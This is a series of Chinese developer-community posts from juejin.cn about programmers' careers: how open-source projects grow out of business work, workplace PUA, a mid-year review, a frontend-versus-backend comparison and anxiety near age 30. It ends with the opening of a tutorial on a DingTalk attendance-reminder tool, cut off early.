技术项目是怎么诞生的

举几个我熟悉的开源项目,让大家看看技术项目都是怎么诞生的吧。

ahooks

最开始我负责了 N 个中后台项目,整天就是 CRUD,表格表单一把梭。

随着 React Hooks 的诞生,我开始在项目中引入 Hooks,我发现表格的逻辑、网络请求的逻辑都是类似的,可以封装起来,然后就封装了几个原始的 Hooks,在我的 N 个项目中复用。

后来我在组内组外分享了一下,发现大家都有同类诉求,还是很乐意尝试用用我封装的东西的。

再然后我就开始基于我的业务经验,封装了更多好用的 Hooks,一步一步走到了今天。

qiankun

再来讲讲著名微前端框架 qiankun 的诞生故事吧。

大概就是 qiankun 作者负责了一个比较特殊的项目,需要把几十个前端项目组合到一起,类似阿里云那样。这几十个项目都使用不同的域名,切换之后域名变来变去,浏览器还会刷新白屏,用户体验贼差。

为了解决这个问题,大佬怒而创造了一套微前端架构,解决前端项目组合问题。解决了自己的问题之后,他把通用能力抽取出来,就成为了我们看到的 qiankun~

从以上两个技术项目中,大家发现了什么共同点?那就是技术项目都是从业务中诞生出来的!

如果没有深入做过几年业务,都不知道业务的痛点在什么地方,怎么造轮子?万地高楼平地起,空中楼阁不可取。

很多朋友向我抱怨业务太多,整天 CRUD 没意思,其实你们在守着金矿,试着挖掘一下!

细想一下,如果现在你来负责 ahooks,你会加入哪些新的功能?如果你没做业务,你都没有输入来源。

另外我还要打击你的一点就是,公司内大部分有开源项目的同学,仍然有 60% 以上时间是做业务的,基本上很少很少有人全职做技术项目的(至少我没见过)。

建议

基于以上内容,我的建议是:多做业务,多做业务,多做业务!业务做的多,痛点自然有了,那技术项目自然而然就来了。

不做业务,只造轮子,先问问自己做什么轮子?做出来给谁用?

番外

当然啦,还是有一类岗位是比较适合这个朋友诉求的,那就是前端基建团队,比如 Web IDE、Serverless、前端流程管控平台、低代码等。这种项目不同于我们常见的业务,它们的目标用户是前端开发人员。

这类项目的一般都是前端开发一把梭,深度使用 Node.js,可以极大提升前端技能。

但这类项目做起来其实很难,可能做了好多年,发现投入产出比极低,没有给公司带来价值。

最终我还是建议先深入做几年业务,发现业务痛点,去解决它,技术项目、开源项目自然而然就来了!


作者:brickspert
来源:juejin.cn/post/7136893477681381407

收起阅读 »

我好像,正在经历职场PUA……

怎么别人都能干,你连这点小事都做不好?经常加班是因为你的工作方法不对,效率太低了。怎么现在的你和面试的时候相差了这么多,你太让我失望了……上述这些话觉不觉得似曾相识呢?如果有过,别怀疑,TA在PUA你!!PUA,原本泛指恋爱关系中的一方通过精神打压等方式,对另...
继续阅读 »

怎么别人都能干,你连这点小事都做不好?

经常加班是因为你的工作方法不对,效率太低了。

怎么现在的你和面试的时候相差了这么多,你太让我失望了……

上述这些话觉不觉得似曾相识呢?

如果有过,别怀疑,TA在PUA你!!


PUA,原本泛指恋爱关系中的一方通过精神打压等方式,对另一方进行情感控制,使他们对其迷恋,从而心甘情愿地为其付出。

说白了就是“我骂你,但你爱我”。

衍生到现在,PUA早已不局限在爱情里。

职场PUA、亲情PUA、友情PUA…应有尽有。

根据智联招聘发布的《2021年白领生活状况调研报告》显示,63.65%的受访者表示遭遇过职场PUA

今天带大家从一次漂亮的回怼开始,向PUA说不可能!


一、偶遇渣男/渣女篇

感情中如果遇到PUA你的渣男/渣女,别客气,直接怼回去,然后就分手!


总之,小摹劝各位小伙伴一句,在感情中,一旦发现有PUA的苗头就要及时遏制住,找自己需要的爱情才对~

二、甲方爸爸PUA篇

面对甲方爸爸时,我们总不能硬碰硬的回怼,所以就得体现咱们说话的艺术啦~

甲方爸爸毕竟是金主,当然得说好听的话供着了!

三、回怼公司PUA篇

当你遇到了职场PUA,千万别忍着,否则别人只会认为你好欺负,一定要怼!回!去!

在此,小摹想提醒各位一句,职场PUA和要求严格最大的区别在于究竟是对事还是对人

要求严格是对事不对人,希望你能将事情做好;职场PUA是对人不对事,针对你个人下结论。愿大家能珍惜对你严格的领导,远离PUA你的领导~

四、反PUA指南

对于正在遭受PUA的伙伴们,我也给大家整理了3个摆脱的方法,希望可以有所帮助:

  • 设定边界,坚定自己的原则的底线;

  • 学会用正确的方式疏导/释放自己的情绪;

  • 敢于说不,及时向家人/朋友/外界寻求帮助。

最后,我想说,别让工资/依赖成为精神补偿,无论你在遭受职场or情感PUA,要么反击,要么离去



作者:摹客
来源:juejin.cn/post/7133038800766566437

收起阅读 »

一个普通而立之年的女猿 の 年中总结

古人说,三十而立,意思是30岁可以自立于世,即做事合于礼,言行都很得当。先把个人问题放一边,以职业为口子,聊聊年中总结。现在互联网裁员越来越年轻化了,以前说35岁危机,现在看来,每天都可能有危机,特别是疫情这几年,动不动一条产品线没了,动不动项目开发完成但是由...
继续阅读 »


古人说,三十而立,意思是30岁可以自立于世,即做事合于礼,言行都很得当。

反观自己,真是一点边不沾,做事莽撞易炸毛,言行冒昧不妥帖。

先把个人问题放一边,以职业为口子,聊聊年中总结。

不得不说的裁员

现在互联网裁员越来越年轻化了,以前说35岁危机,现在看来,每天都可能有危机,特别是疫情这几年,动不动一条产品线没了,动不动项目开发完成但是由于X种原因不能上线了,动不动行业暴雷了。

认识一个朋友,同前端,再北京工作6年,换了5份工作,第一份试用期没过被裁,第二份被裁,第三份裁员时候庆幸自己留下来了,最后先被裁的都有了补偿,留下的拖欠了工资,直到倒闭也没有发出来,开始仲裁路,回老家休养生息1年。再次来北京,第四份干了一年多又被裁,第五份躲过了裁员潮,现在每天加班到十点以后。。

说实话,我挺佩服他,屡战屡败,越战越勇,最后也坚持下来了。好像在北京,没有裁员过的人生也是不完整的,多数人都有被裁员的经历。

还认识一个朋友,聪明且勤奋,在小厂磨砺3年,从bug满天飞,到没有一个bug,从部门被人吐槽的开发走到了领导者,工资一路涨,最后跳槽去了大厂,反而在大厂难以出头,最后平平无奇郁郁寡欢呆了2年,带着大厂光环进入小厂找到了存在感,确实能力强者。

还有一个朋友,就是平平无奇的我自己,6年换了2份工作,无大厂光环,每份薪水都处于平局线,没有被裁过,也没有光辉过。

我们,都同岁,有着不同的24岁到30岁,有着不同的三十而立。也是漂在北京的同龄人的缩影。

今年所在的公司由于黑天鹅事件踩雷被迫开始裁员,很多同事都领了大礼包,风波还在继续,指不定什么时候就轮到自己,早就做好心里准备,等待着这一天到来,然后拿着大礼包出去玩,年纪再大,也得学会排解自己。

以前找工作,hr总问,你住哪里?公司离你住所比较远,这点你怎么考虑?我都会说:房子么,也不是自己的,以工作为主,搬个家就可以了。

现在80后建议,买房子一定要买离工作单位近的,上下班方便,我都会说:工作么,早晚都会被裁的,还是以家庭为主。

就好像看的多了,格局就打开了,裁员不丢人,且干且珍惜,希望真轮到自己的时候也能这么豁达。

回顾年初立的flag

年初的时候立了几个flag

  • 晋升

  • 看书*5

  • 源码

  • 考证

  • 减肥

  • 出去玩

  • 存款

晋升

晋升完成,这个属于意料之内,不出意外的正常发生(当然也有planB,就是头也不回的滚蛋)。

毕竟入职满一年,做的业务项目业绩不错,做的技术项目效果还行,给过去忙碌的一年一个交代。也有可能是因为这个,躲过了前2波的裁员。

这里还是给 年轻人点建议,踏踏实实巩固自己的技术基础,有能力的多了解下流行框架设计思想与底层原理,很多看似很难解决的bug,对基础和原理了解的多,很容易就解决了,我来的做的第一个技术项目就是这样,这里困扰fe很久的编译问题,其实知道原理和基础,200行代码就解决了,所以才给大家留下了印象。

说实话我不是聪明的那个人,只是努力做到普通罢了。

看书

  • 《底层逻辑》--------done

  • 《认知红利》—-—---done

  • 《进化的力量》——--done

  • 《你的灯还亮着吗》—done

  • 《向上生长》—done

  • 《跃迁:成为高手的技术》-ing

这里看的都是闲书,扩展下自己的思维,也不能说自己理解的多透彻,不细说了,都是好书,值得二刷,三刷。

感兴趣的可以评论,再出读后感。

这里分享几句我划线的句子。

人脉,不是能帮到你的人,而是你能帮到的人。 --《进化的力量》

在学习的前期,一个人是没有方向,没有思路,没有全局感的,最重要的就是不断地投入时间,过一段时间就会突然清晰了。很多人学习新技能一无所成,就是死在了这个时间点前。--《向上生长》

这个时代真正的高手,几乎都有一个特点———他们既懂得如何驱动自己持续地努力和积累,也懂得借助社会和科技趋势放大自己努力的收益。所有这些取得重大成就的人,最明显的共同特点,就是阶段性的非线性成长,跃迁式的上升,每隔几年,他们突然上一个台阶,眼界、想法、能力、调用的资源和身价都完全不同,这就是利用规律放大个人努力的结果。 --《跃迁:成为高手的技术》

源码

这可是一个跨越3年的flag,每次牟足了劲看一段时间,工作比较忙又搁置了一段时间,进度缓慢,看的没有忘得快。今年努努力吧~

考证

公司是做金融的,建议考《基金从业资格证》,除了买书,无进展。
大概率也不会有啥进展了,工作日没时间看,周末就像泄了气的皮球,懒到没边,所以这里应该相信我真的只是努力做到普通罢了。

减肥

掉了5斤,等于没有成功,因为虚胖,少吃几顿5斤就下来了,一直来来回回,反反复复,拉拉扯扯,都是这5斤。

不成功,能怎么办?

谁让这世界有这么多好吃的,我大概是不会抑郁的,不高兴的时候就会吃东西,吃东西就会发胖,胖了就会不高兴。 如此循环,如何享瘦?

出去玩

青春有几年,疫情占3年。

各地防疫政策比女生翻脸还快,一不小心就容易被隔离在外地,别说出去玩了,就连过年回家都得各种打报告。

好不容易到了兜里有点款子,范围内可以浪一浪的阶段,但是疫情确告诉你,年轻的时候没钱见的人,现在有钱了你也见不到。

疫情下的民生,有丑态毕露,也有温暖涌现,不能一句话去总结这人间万象,所以别去想,踏踏实实过好这现在的日子吧。

对下半年说点什么?

对下半年说点什么?我也不知道哎。

大概率还是跟过去的180几天一样。

计划永远赶不上变化,但是重要的几步还是要走,比如回家看父母,比如和男朋友规划未来。

还是要多看书,多锻炼,未完成的跨年falg继续,减肥继续,学习继续。

想到哪,说到哪吧~

留不留?

现在想法比较多的是,到底在这个公司死磕直到领一个丰厚的大礼包,还是少赚点钱去一个7点前下班的公司,毕竟,要考虑成家了,男朋友也是程序员,总的有一个顾家的。

在这说实话是有点压力的,被裁的人里面也有我觉得能力很强的人,之所以被裁,我觉得可能是敢于对不懂技术的领导的命令给予反抗,还有的是不爱出风头的,只知道门头干活的高t。

所以说,在一个公司长久,真的是一件缘分(dddd)。

还是两手准备吧

你们觉得呢?

来源:范小饭 juejin.cn/post/7119052137589375012

收起阅读 »

前端好还是后端好,看看7年前端和后端怎么说

本篇文章是 B 站视频《# 前端好还是后端好,看看7年前端和后端怎么说》的文字版。 有朋友在上一期视频评论区问 “选前端好,还是选后端好”。这个问题我自己也挺好奇,如果我当初选了后端,现在是什么样子?回答这个问题最好的方式,就是找两个有比较长工作经验的前端和后...
继续阅读 »


本篇文章是 B 站视频《# 前端好还是后端好,看看7年前端和后端怎么说》的文字版。

有朋友在上一期视频评论区问 “选前端好,还是选后端好”。这个问题我自己也挺好奇,如果我当初选了后端,现在是什么样子?

回答这个问题最好的方式,就是找两个有比较长工作经验的前端和后端,让他们来讲讲各自的从业感受,对比下发展现状。当然,前提是尽量减少他们的其它差异。

嘿,正好,我有一个非常好的朋友青果,我俩除了他做后端,我做前端之外,其它变量都高度一致。一致到什么程度呢?

我俩都是山西人,11 年考入杭州的大学,我俩一个专业,一个班级,一个寝室,头对头睡了 4 年。

14 年我俩一起去面试了同一家小公司,一起去实习,一起入职,每天一起上下班,一起在这个公司工作了 4 年,我俩在这个公司的薪资也一模一样。

我俩唯一的区别就是,他实习就做 JAVA,然后一直坚持在做,他一开始就认准了方向,即使公司让他做 PHP、做前端,他也是拒绝的。

相比之下,我就没主见了,先做 JAVA,然后公司需要 PHP,就去做了一年多 PHP,然后公司需要前端了,就去做了一年多前端,最终误打误撞进入了前端行业。

18 年前后,他离职去了杭州某中大厂,继续做了四年后端开发。

几个月之后,我也离职去了另外一个大厂,继续做了四年前端开发。

到目前为止,我们工作了 7 年多,站在这个节点上,正好对比一下,看看各自的从业感受,我也挺好奇结果的。

接下来,我会准备一些问题,我俩分别来回答一下。

1. 你后悔选 前端/后端 了吗?

砖家回答:

不后悔,我还挺庆幸当初转成前端的,在我的前端生涯发展中,虽然有磕绊,但整体上还是挺顺利的,前端带给了我很多东西,并且整体上来看,前端社区会更活泼一点。

如果现在让我回去 7 年前,我还会无脑选前端的。

青果回答:

谈不上后悔不后悔吧,选择总是基于当下的认知以及结合自身情况。因为当时自学过一段时间安卓开发,且后端体系比较庞大,个人觉得后续的发展空间可能更大,就一直坚持了后端工作。

现在后悔的是,大学期间心智开的太晚,在休闲娱乐上浪费了不少时间。

2. 你觉得 前端/后端 的技术发展快吗?需要一直学新东西吗?

砖家回答:

前端这些年发展太快了,天天出新东西,三个月不学习就落后了,一年不学习就已经不会写了,真正的是活到老学到老。

刚毕业的时候我还快乐的使用 jQuery,然后发展成 Angular,然后发展成 React、Vue 的天下,最近 Vercel 等新势力又冒出来了。框架层还算慢的,各种小的解决方案,那真的是层出不穷。

构建工具从 gulp 到 webpack,再到 esbuild、vite,真的是跟不上了。css 解决方案也是一大堆:css modules、styled-components、tailwind css 等等。

总之,前端最近几年的发展是坐火箭一样的,想不学习吃老本是不行的。另外发展快也有好处,就是机会多,可以造各种轮子。

青果回答:

技术总是推陈出新的,作为开发人员感知到的快与慢,跟能否及时在实际工作中使用新技术、新特性有关。

公司拥抱新技术,会从稳定性、收益成本等多角度考虑,规模越大的公司顾虑越多,也就越难使用新技术。比如各大厂还在大规模使用 2014 年发行的 java 8,而 java 现在已经进化到第 17 个版本了;后端框架仍然还是 SSM(Spring、Spring MVC、Mybatis)为主流。所以站在这个角度,即便技术更迭再快,后端业务开发能接触到的新技术也是很有限的。

在这套”陈旧“的技术上,一般 1、2 年就能驾轻就熟的实现各种业务。如果不持续学习底层原理、核心设计,很容易只停留在知道、会用的境地,当遇到技术难题时,就会不知从何下手。

3. 你推荐自己的好朋友学前端还是后端?

砖家回答:

如果他喜欢和数据打交道,那我可能推荐他去学后端。

大部分情况下,我还是会推荐他学前端,因为前端入门简单,并且上限也不低。 另外就是前端总是和用户交互界面打交道,会比较活泼一点~

青果回答:

如果是纯 IT 小白,可以先从前端找找感觉,入门相对简单,也能及时带来成就感。如果是科班出身的朋友,可以从其他几个问题上综合考量。

4. 你觉得现在市场上 前端/后端 饱和了吗?前端/后端 好找工作吗?

砖家回答:

我自己感觉,前端市场远远没有饱和,还是比较好找工作的,尤其是优质前端更缺。

大家可以想想,以前前端只是做网页的,但现在 IOS 开发、Android 开发、桌面端应用都逐渐使用前端技术栈开发了,前端已经吃掉了部分客户端开发同学的机会。

并且随着浏览器性能提升,前端能做的事情更多了,各种 3D、游戏都可以用前端技术做了。

所以我觉得前端还是有非常大的市场的。

青果回答:

实话实说,今年市场行情是工作以来最差的一年,很多战友都被动离开了,再加上后端从业人数大,想在这么多人中脱颖而出,找到一份称心的工作,确实比以往更难。

但我认为数字化浪潮还没有褪去,未来还有很多机会,个人努力培养核心竞争力,仍然能够如鱼得水。

5. 你觉得前端和后端的薪资差别大吗?

砖家回答:

因为工资一般在公司属于机密,所以大家都不会交流的,但是我感觉前端和后端工资都差不多的。

青果回答:

前期的话,总体来说薪资是差不多的,可以从各大招聘网站上了解各个职级的薪资水平。后期就要看自己的造化了,个人认为主要是决策力、不可替代性、能力影响范围等会提升你的薪水。

6. 你觉得 前端/后端 的发展上限高吗?你碰到瓶颈了吗?

砖家回答:

大部分前端都是业务开发,发展路线大概是这样的:

  1. 先跟着别人做业务

  2. 自己能独立承担业务开发

  3. 能虚线带一两个同学承担多个业务开发

  4. 带团队

  5. 带更大的团队

当然也有专门做技术,不靠带团队晋升到很高级别的,但真的比较少。

以我目前的阶段看,我目前的阶段还属于比较初级的,前面的人有非常非常非常多,所以并没有达到瓶颈。

然后我觉得前端的上限对我们普通人来说,是足够高的,两辈子可能都走不到头。

青果回答:

后端的上限肯定是高的,重点是如何不断突破自己的上限。

现代企业都需要复合型人才,也就是”T”型人才。作为后端开发,纵向需要培养解决疑难问题、设计复杂系统的能力,把技术向下做深、做透;横向需需要培养产品思维、业务分析、领导力等。如果个人遇到了瓶颈,可以参考《工程师职级胜任力框架》,去看看下个职级需要重点培养什么能力。

7. 你觉得 前端/后端 容易学吗?

砖家回答:

我觉得前端算是比较好学的,上手非常简单,可能学个几天就会写页面了。

然后说实话,前端的技术没有太多高深的东西,只要肯下功夫,是一定能掌握的,这是一个确定的事情。

青果回答:

我认为学习最难的,就是认知半径限制了应该去学啥,即不知道“应该学啥”。没有目标,不会检索,就很难学。

java 作为发展了接近 30 年的语言,世面上的学习资料可太多了,所以从“应该学啥”的角度,java 还是容易的。

8. 你觉得前端需要会一点后端吗?你觉得后端要会一点前端吗?

砖家回答:

我觉得是的,前端需要掌握一定的后端知识。

因为工作内外,我们可能都有独立开发一个小工具的诉求,后端知识必不可少的,虽然前端学学 Node.js 还是挺简单的,但是对 nginx、数据库、负载均衡 等后端知识也是要有一定涉猎的。

青果回答:

技术人员了解软件工程的全流程是大有裨益的,不光是要会一点前端,还要从业务分析和建模、编码和测试、上线和运营等多维度拓宽知识的边界,不仅利于与各职能之间的沟通协作,也给自己带来更高的看问题视角。这也是思特沃克中国区 CTO——徐昊比较推崇的,我们要努力成为全流工程师,感兴趣的可以去看看。

9. 你觉得你能做一辈子前端/后端吗?

砖家回答:

目前来看,是的,前端是可以做一辈子的,现在转行也没任何必要。并且我也不讨厌前端,挺好玩的还!这碗饭我吃定了~

青果回答:

首先不会限定自己只做后端,现在的物联网等行业也不存在所谓的前后端之分。

IT 这个行业是要做一辈子的,主要是个人的性格确实适合这个行业。如果你还在犹豫是否要从事这个行业,可以去做做 MBTI 测试。

10. 你有什么想对新人程序员,或者即将从业程序员的同学嘱咐的吗?

砖家回答:

工作前几年,不要太着急限定自己的发展方向,可以都尝试尝试,工作两年之后再做选择。

这个在小公司比较好实施,在大公司一进来工种基本就限定了。

另外就是,迷茫是正常的,是大家都会经历的,可以多找前辈聊一聊,可能会豁然开朗。

青果回答:

保持好奇心。

不要过早的给自己设限。

尽早搭建个人知识体系,可以通过思维导图构建技能树,补齐短板。

11. 你有什么想对对方讲的吗?

砖家回答:

缘分妙不可言,期待未来还有机会共事。这顿饭我请定了,但是下一顿得你请我。😄

青果回答:

没有,下一个问题。 开个玩笑,手动狗头,希望有机会向你学习前端技术。

总结

做这期内容,付出了一顿饭的代价,希望能给大家带来帮助,尤其是新人程序员。

也许不能带来实质性的帮助,但让大家看到了真实的工作了 7 年的前端和后端同学的想法。同时在看这篇内容的朋友也藏龙卧虎,大家也可以各抒己见,说说自己对当前工种的看法,给新同学一点帮助。

最后欢迎大家关注我,大家有任何问题,都可以在评论区留言,简单的我就直接回复了,复杂的我会记在小本本上,后面会专门做内容来回复!

来源:brickspert juejin.cn/post/7134283105627537444

收起阅读 »

裁员、结婚、买房、赡养父母.....即将30岁,焦虑扑面而来

前言:不知道你是否有过这样的经历,就是在临近30岁的这几年,可能是28,可能是29,会突然有一天,你就不得不以一个顶梁柱的角色去审视自己。就像我这一周都是在这种压力和焦虑中度过...失眠这周的每天晚上我想着这些都失眠到三四点,当然如果这个时候你还像我一样去看下...
继续阅读 »


前言:

大家好,我是春风。

不知道你是否有过这样的经历,就是在临近30岁的这几年,可能是28,可能是29,会突然有一天,你就不得不以一个顶梁柱的角色去审视自己。

就算此时你还没有结婚,但面对即将不得不结婚的压力,面对已经老去的父母。时间突然就变得紧迫起来,你也突然就不再属于你自己,我们会不自觉的扮演起家庭的依靠,而且还是唯一的依靠。这种压力完全是在自己还没准备的时候就突袭了你。

就像我这一周都是在这种压力和焦虑中度过...


失眠

我不知道自己为什么会突然一下就想这么多,但年龄就像一个雷管,突然就炸开了赤裸裸的现实,或者是按下了一个倒计时。我不自觉的去想家庭,去想父母,去想我30岁40岁50|岁是什么样子。

这周的每天晚上我想着这些都失眠到三四点,当然如果这个时候你还像我一样去看下确切时间,你很大可能会失眠到五点。

尝试心理学

所以这几天上班也是一行代码都没敲,幸好需求不多。最后我迫切的觉得我应该找个办法解决一下,索性今天摸鱼一天,听了一天的心理学讲座的音频。

果然,心病还需心药医!!!

下面我给大家分享一下自己的治疗过程,希望也能对焦虑的你有所启发。

一、我为什么焦虑

解决焦虑的第一步就是先要弄清楚我们为什么焦虑?我们究竟在焦虑什么?可能很多人都是焦虑经济,焦虑结婚,焦虑生活中的各种琐事。

但我们也可以试着站在上帝视角,更深层次的解剖一下自己。

1. 焦虑多年努力没有换来想要的生活

比如我,我最大的焦虑也是钱,我从农村出来,没有任何背景,毕业到现在已经工作六年,20年在广州买房上车,但好巧不巧买的是恒大的房子,买完就暴雷,现在每个月有房贷,还要结婚。

所以我总是在想,这些年我算努力吗,为什么还是没有挣到钱。

三十而立近在眼前,可我这些年究竟立了什么呢?遥想刚毕业那会给自己定下的目标,虽然是天方夜谭,但对比现在,也太天方夜谭了吧。

不是说好的天道酬勤吗?不是说努力就会有收获吗?

所以我焦虑,我表面是焦虑钱,但何尝不是在焦虑自己这么多年的努力却没有得到我想要的结果呢?

2. 攀比带来的自我嫌弃

我们都知道攀比是不好的,尤其是在这个动辄年薪百万年薪的互联网世界,但也是这些网络信息的无孔不入,让我们不得不攀比,不得不怀疑自己是为什么会差这么多。

我承认自己是一个争强好胜的人,我会在读书时非常想要好的名次,因为我体验过那种胜利感一次之后,便会上瘾。所以现在工作,我也时常不自觉的攀比起来,因此,我也深深陷入了自我怀疑和自我嫌弃的枣泥。

为什么我努力学习,辛苦工作,一年下来却不如人家卖一个月炒饭,为什么那个做销售的同学两三个月就赚到了我两年的财富,为什么我工作六年攒下的钱,却还不及人家父母一个月的收租?

和我一样没背景的比我赚的多,有背景的赚的更多。这种怀疑病入膏肓的时候,我都会病态的想,那些富二代肯定都是花花公子,懒惰而不自知,毕竟电影里不都这样演吗?但现实是,别人会比你接受更好的家庭教育,环境教育。别人谈吐自如还努力学习。不仅赢在了起跑线,还比你努力。就是这种对比,越来越让我们自己嫌弃自己,厌恶自己。所以也就总是想要求自己必须去做更好的自己。

二、生命的意义

应该所有人都思考过这个问题吧,来这人间一趟,可都不想白来一趟。我们都想在这个世界留下点什么,就像战国时士人对君主,知道会被烹杀却勇于进言,只为留下一个劝谏名士的美名。人活一世,究竟为了什么呢?生前获利?死后留名?

但对于我们大多数的普通人呢?

待我们死去,我们的名字最多就被孙子辈的人知道,等到他们也故去,那这个世界还会有你来过的痕迹吗?

人生代代无穷已,江月年年望相似。

所以夜深人静的时候,我们总会在想,自己生命的意义?似乎一切都没有意义,我们注定就是会拥有一个低价值甚至无价值的人生

三、结婚的压力

我们九零后,比零零后环境是不是更好不确定,但对比八零后,肯定要差,八零后结婚,印象里还不太谈房子,车子,但我们结婚,确是一个必考题。

所以我们结婚率低,不仅有不婚族,还有现在的丁克族。

我自己来自农村,我们那里男女比例就严重失衡,村里的男孩子结婚的不超过一半。但是我爸着急,不知道你们是否有过这种催婚的经历,父母会反复的告诉你大龄剩男剩女有多丢人,你们的不婚不仅是你自己的问题,还会让家里人都抬不起头。是的,父母含辛茹苦养育了你们,现在因为你,让他们在别人面前抬不起头来,失去了自尊。

四、知道该做什么,但拖延没做后就会更加的自我嫌弃

我们擅长给自己定下很多目标,但有时候就是逃不过人性,孔子说,食色性也。我们在被创造的时候就是被设计为不断的追求多巴胺的动物。所以我们沉迷游戏,沉迷追剧。总是在周五的晚上选择放松自己。而不会因为定下了目标就去学习。

总之,我们的目标定的越美好,我们的行动往往越低效。最后,两者的差距越来越远。我们离自己期望中的那个自己判若两人。

我们又会厌恶自己,嫌弃自己。甚至痛骂自己的不自律。


以上是我分析的自己的焦虑点。相信很多也是屏幕前的你曾经或者当下也有的吧。接下来,就看看我是怎么在心理学上找到解决的办法的吧!

给自己的建议

关于攀比、努力没有想要的结果、不自律等等带来的自我嫌弃。我们或许应该这样看

1、承认自己的普通

有远大报负,有远大理想。追求自由和生命的绚丽是我们每个人都会有也应该有的念想。但当暂时还没有结果的时候。我们不应该及早否定自己。而是勇于承认自己的普通。我们都想成为这个世界上独一无二的人。事实上从某种意义上来说。我们也是独一无二的人。但从金钱,名望这些大家公认的层面来看。99.99%的人都是普通人。我们这一生很大可能就会这样平凡的过完一生。接受自己的普通,活在当下。这才是体验这趟生命之旅最应该有的态度。只要今天比昨天好。我们不就是在进步吗?

为什么一定要有个结果??

人生最大的悲哀就是跨越知道和做到的鸿沟,当一个人承认自己是个普通人的时候,他才是人格完整,真正成熟的时候

我们追求美好的事物,追求自己喜欢的东西,金钱也好,名望也罢,这都是无可厚非的。因为人就是需要被不断满足的,人因为有欲望才会想活下去。但是当暂时没有结果的时候。我们也不应该为此感到自责和焦虑。一旦我们队美好事物的追求变成了一种压力。我们就会陷入一种有负担的内缩状态,反而会跑不快

我们都害怕浪费生命,因为生命只有一次。我们想让自己的生命在这个世界留下来过的痕迹。所以我们追寻那些热爱的东西,但其实追求的过程才是最应该留下的痕迹,结果反而只是别人眼里的痕迹。

当然也有一种理解认为活在当下就是躺平。恰好现在网络上也是躺平之语频频入耳。我想说关于是努力追求理想还是躺平的一点观点。

在禅宗里有这样一句话说的非常好:身无所住而生其心

这里的住 代表的就是追求的一种执念。

身无所住而生其心,说的就是要避免有执和无执的两种极端状态。有执就是我们我都要要要。我要钱 我要名 我要豪车豪宅。无执就是觉得什么都没有意义。生命终会归于尘土。所以努力追求的再多,又有什么用呢?大多数人生命注定是无意义的。这也是很多人躺平的一部分原因吧!

但是就该这样躺平的度过一生吗?每天都陷入低价值的人生?

身无所住而生其心。我们的生命不应该陷入有执和无执这两种极端。花开了,虽然它终会化作春泥。但花开的此刻,它是真美啊!

2、关于结婚生子

关于结婚生子,为什么我要在所有人都结婚的年龄就结婚,为什么三十岁生孩子就是没出息。生育这个问题,其实是为了什么 我爸老说,你不生小孩或者很晚生小孩,到时候老了都没人照顾你,那养儿真的就是为了防老吗?其实这是一个伪命题,先还不说到时候,儿女孝不孝顺的问题,就说我爸,这么多年,他为了倾其所有,花我身上的钱不说几千万也有上百万了,如果真是要防老,那这个钱存银行,每年光吃利息就有几十万,几十万在一个农村来说晚年怎么都富足了,两三个人照顾你都够,而我到现在每年有给过我爸几十万吗?

再说养儿为了到时候不孤独,能享受天伦之乐,这算是感情上的需求吧。那既然这样,我在准备好的节奏里欣然的生育,不比我在年龄和周遭看法的压力下强行生育更加的好吗,当我想体验一下为人父的生命体验了,我顺其自然的要小孩儿,快快乐乐的养育他,而不是我已经三十岁了,别人小孩儿都打酱油了,大家都在说是不是我有问题,所以即使我现在经济,心理,精力上都没准备好,我也必须要一个小孩儿。

所以大人们说的并不是真正的理由,而人类或者动物,之所以热衷繁衍,最原始的动力是想把自己的基因流下去,是想在这个世界上留下一点记忆。

为别人而活。尤其是在农村,很多人一辈子就认识村里那些人,祖祖辈辈就只见过那些活法,在他们眼里,多少岁结婚,多少岁生孩子,这辈子就这么过去了。但是但凡有一点出格,那在其他人眼里就会抬不起头,因为,其他人出现意外的时候,自己也是这样看其他人的。所以大家都只为活在别人眼里而活,打个比方,我现在很想很想吃一个红薯,明明我吃完这个红薯,内心就会得到满足,但是我不会,因为别人会觉得我是不是穷,都只能吃红薯,这不单单是大家说的死要面子活受罪,其实是我们很多人骨子里的自卑,尤其是我们农村,经济条件都不好,没有什么值得炫耀的,所以我们就尽可能找大家能达成共识的去炫耀。很简单的一个例子。假如一个亿万富翁去到农村,他的身价已经足够自信了,即使他不结婚生子,其他人会看不起他吗?

结尾:

1、心理学是治愈,也是哲学上的思考。这种思考很多都能跳脱出现实而给到我们解决现实中问题的办法

2、再重复一遍:身无所住而生其心!

3、要爱具体的人,不要爱抽象的人,要爱生活,不要爱生活的意义。

来源:程序员春风 juejin.cn/post/7119863033920225287

收起阅读 »

组员老是忘记打卡,我开发了一款小工具,让全组三个月全勤!

web
我司使用钉钉考勤打卡,人事要求的比较严格,两次未打卡记缺勤一天。但我们组醉心于工作,老是上下班忘记打卡,每月的工资被扣到肉疼。开始的时候我们都设置了一个打卡闹铃,下班后准时提醒,但有的时候加班,加完班回家又忘记打卡了。还有的时候迷之自信的以为自己打卡了,第二天...
继续阅读 »

我司使用钉钉考勤打卡,人事要求的比较严格,两次未打卡记缺勤一天。但我们组醉心于工作,老是上下班忘记打卡,每月的工资被扣到肉疼。

开始的时候我们都设置了一个打卡闹铃,下班后准时提醒,但有的时候加班,加完班回家又忘记打卡了。还有的时候迷之自信的以为自己打卡了,第二天看考勤记录发现没打卡。

为了彻底解决这个问题,守住我们的钱袋子,我开发了一款打卡提醒工具,让全组连续三个月全勤!

下面介绍一下,这个小工具是如何实现的。

小工具实现思路

首先思考一下:闹铃提醒为什么不能百分之百有用?

  1. 机械的提醒

闹铃提醒很机械,每天一个点固定提醒,时间久了人就会免疫。就像起床闹铃用久了,慢慢的那个声音对你不起作用了,此时不得不换个铃声才行。

  1. 不能重复提醒

闹铃只会在固定时间提醒一次,没有办法判断是否打卡,更不会智能地发现你没有打卡,再提醒一次。

既然闹铃做不到,那我们就用程序来实现吧。按照上述两个原因,我们要实现的提醒工具必须包含两个功能:

  1. 检测用户是否打卡,未打卡则提醒,已打卡不提醒。

  2. 对未打卡用户循环检测,重复提醒,直到打卡为止。

如果能实现这两个功能,那么忘记打卡的问题多半也就解决了。

打卡数据需要从钉钉获取,并且钉钉有推送功能。因此我们的方案是:利用 Node.js + 钉钉 API 来实现打卡状态检测和精准的提醒推送。

认识钉钉 API

钉钉是企业版的即时通讯软件。与微信最大的区别是,它提供了开放能力,可以用 API 来实现创建群组,发送消息等功能,这意味使着用钉钉可以实现高度定制的通讯能力。

我们这里用到的钉钉 API 主要有以下几个:

  • 获取凭证

  • 获取用户 ID

  • 检查打卡状态

  • 群内消息推送

  • @某人推送

在使用钉钉 API 之前,首先要确认有公司级别的钉钉账号(使用过钉钉打卡功能一般就有公司账号),后面的步骤都是在这个账号下实现。

申请开放平台应用

